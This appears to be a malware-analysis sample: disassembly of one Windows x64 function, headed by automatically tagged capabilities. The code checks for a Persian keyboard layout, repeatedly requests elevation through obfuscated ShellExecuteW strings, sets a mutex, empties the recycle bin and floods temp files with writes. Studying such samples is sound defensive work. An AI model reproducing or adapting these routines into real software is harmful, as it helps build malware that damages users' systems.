Function at 0x1400217a0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Empty the recycle bin
Get common file path
Get keyboard layout
Terminate process
Write and execute a file
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x498]
sub rsp, 0x580
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
mov rax, qword [0x1400e8180]
xor rax, rsp
mov qword [rbp + 0x450], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyboardLayoutList]
movsxd rbx, eax
mov r14d, 8
mov eax, r14d
mul rbx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.1400615d0
mov rdi, rax
mov rdx, rax
mov ecx, ebx
call qword [sym.imp.USER32.dll_GetKeyboardLayoutList]
xor r15d, r15d
test eax, eax
je 0x140021842
mov eax, r15d
test ebx, ebx
jle 0x140021842
mov ecx, 0x429
nop dword [rax + rax]
cmp word [rdi + rax*8], cx
je 0x1400219d5
inc rax
cmp rax, rbx
jl 0x140021830
mov rdx, r14
mov rcx, rdi
call fcn.14006127c
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x1400219e1
mov r8d, 0x104
lea rdx, [rbp + 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
test eax, eax
je 0x1400219e1
movsd xmm6, qword [0x1400d7dd8]
lea rcx, [rbp - 0x70]
call fcn.14003ce20
nop
mov byte [rsp + 0x50], 0
mov byte [rsp + 0x51], 0x29
mov byte [rsp + 0x52], 0x11
mov byte [rsp + 0x53], 0x37
mov byte [rsp + 0x54], 0x11
mov byte [rsp + 0x55], 0x6b
mov byte [rsp + 0x56], 0x11
mov byte [rsp + 0x57], 4
mov byte [rsp + 0x58], 0x11
mov byte [rsp + 0x59], 0x58
mov byte [rsp + 0x5a], 0x11
mov byte [rsp + 0x5b], 0x11
mov byte [rsp + 0x5c], 0x11
movzx eax, byte [rsp + 0x51]
lea rcx, [rsp + 0x50]
call fcn.140043540
mov rdx, rax
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp + 0x30]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp rax, 5
jne 0x1400219cc
lea rcx, [rbp - 0x60]
call fcn.1400435c0
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14003ce30
lea rcx, [rbp - 0x60]
call fcn.14002a140
movsd xmm7, qword [0x1400d7dd0]
nop word [rax + rax]
cvttsd2si rcx, xmm6
call qword [sym.imp.KERNEL32.DLL_Sleep]
mulsd xmm6, xmm7
mov byte [rsp + 0x60], 0
mov byte [rsp + 0x61], 0x39
mov byte [rsp + 0x62], 0x44
mov byte [rsp + 0x63], 0x28
mov byte [rsp + 0x64], 0x44
mov byte [rsp + 0x65], 0x7a
mov byte [rsp + 0x66], 0x44
mov byte [rsp + 0x67], 0x6f
mov byte [rsp + 0x68], 0x44
mov byte [rsp + 0x69], 9
mov byte [rsp + 0x6a], 0x44
mov byte [rsp + 0x6b], 0x44
mov byte [rsp + 0x6c], 0x44
movzx eax, byte [rsp + 0x61]
lea rcx, [rsp + 0x60]
call fcn.1400434c0
mov rdx, rax
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp + 0x30]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp rax, 5
je 0x140021930
lea rcx, [rbp - 0x70]
call fcn.14003ce60
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.DLL_TerminateThread]
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_ExitProcess]
mov ecx, 1
call qword [sym.imp.KERNEL32.DLL_ExitProcess]
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0x70], xmm1
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x78], r15
mov r8d, 0x24
lea rdx, str.4B991369_7C7C_47AA_A81E_EF6ED1F5E24C
lea rcx, [rsp + 0x70]
call fcn.140021e50
lea r8, [rsp + 0x70]
cmp qword [rbp - 0x78], 0x10
cmovae r8, qword [rsp + 0x70]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov qword [rbp - 0x28], rax
call qword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
setne bl
mov byte [rbp - 0x20], bl
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x140021a7d
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021a78
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140021da4
call fcn.14006127c
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
test bl, bl
jne 0x140021a9b
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_ExitProcess]
call fcn.140023380
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 7]
call qword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
lea rcx, [rbp]
call fcn.140034d80
nop
mov rdi, qword [rbp + 8]
mov rbx, qword [rbp]
cmp rbx, rdi
je 0x140021ad6
mov rcx, rbx
call fcn.14003d160
add rbx, 0x20
cmp rbx, rdi
jne 0x140021ac5
lea rcx, [rbp]
call fcn.14002c6d0
call fcn.14003d430
call fcn.140042e90
call fcn.14003fd80
lea rcx, [rbp + 0x18]
call fcn.140035700
mov rdi, qword [rbp + 0x20]
mov rbx, qword [rbp + 0x18]
cmp rbx, rdi
je 0x140021b15
mov rcx, rbx
call fcn.140040300
add rbx, 0x20
cmp rbx, rdi
jne 0x140021b04
lea rcx, [rbp + 0x18]
call fcn.14002c6d0
call fcn.14002b5d0
call fcn.14003e2d0
call fcn.140041b20
call fcn.140040570
lea rcx, [rbp - 0x18]
call fcn.14002b1b0
mov rbx, qword [rbp - 0x18]
mov r14, qword [rbp - 0x10]
cmp rbx, r14
je 0x140021c29
nop dword [rax]
mov rcx, rbx
cmp qword [rbx + 0x18], 8
jb 0x140021b5d
mov rcx, qword [rbx]
lea r9, [rbp + 0x240]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.DLL_GetTempFileNameW]
test eax, eax
je 0x140021c29
call qword [sym.imp.KERNEL32.DLL_GetCurrentThread]
mov rcx, rax
mov edx, 2
call qword [sym.imp.KERNEL32.DLL_SetThreadPriority]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x24000002
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rbp + 0x240]
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140021c29
mov edx, 0x80000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov rsi, rax
nop dword [rax + rax]
mov qword [rsp + 0x20], r15
lea r9, [rbp - 0x30]
mov r8d, 0x80000
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
jne 0x140021be0
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edx, 0x80000
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
add rbx, 0x20
cmp rbx, r14
jne 0x140021b50
lea rcx, [rbp - 0x18]
call fcn.14002c6d0
mov ebx, r15d
lea rcx, [rbp - 0x50]
call fcn.140030050
mov r8, rax
cmp qword [rax + 0x18], 8
jb 0x140021c4b
mov r8, qword [rax]
mov byte [rsp + 0x40], 0
mov byte [rsp + 0x41], 3
mov byte [rsp + 0x42], 0x3b
mov byte [rsp + 0x43], 0x46
mov byte [rsp + 0x44], 0x3b
mov byte [rsp + 0x45], 0x5f
mov byte [rsp + 0x46], 0x3b
mov byte [rsp + 0x47], 0x3f
mov byte [rsp + 0x48], 0x3b
mov byte [rsp + 0x49], 0x3b
mov byte [rsp + 0x4a], 0x3b
movzx eax, byte [rsp + 0x41]
movzx eax, byte [rsp + 0x40]
test al, al
jne 0x140021cf4
mov r9, r15
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [rsp + r9 + 0x41]
mov eax, 0x3b
sub eax, ecx
lea ecx, [rax + rax*8]
shl ecx, 2
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
add ecx, 0x7f
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + r9 + 0x41], cl
inc r9
cmp r9, 0xa
jb 0x140021ca0
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea rdx, [rsp + 0x41]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdx, qword [rbp - 0x38]
cmp rdx, 8
jb 0x140021d4d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021d48
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140021daa
call fcn.14006127c
inc ebx
cmp ebx, 1
jl 0x140021c35
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.DLL_ReleaseMutex]
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0x450]
xor rcx, rsp
call fcn.140061220
lea r11, [rsp + 0x580]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.1400954d0
nop
call fcn.1400954d0
int3
jmp 0x1400217a0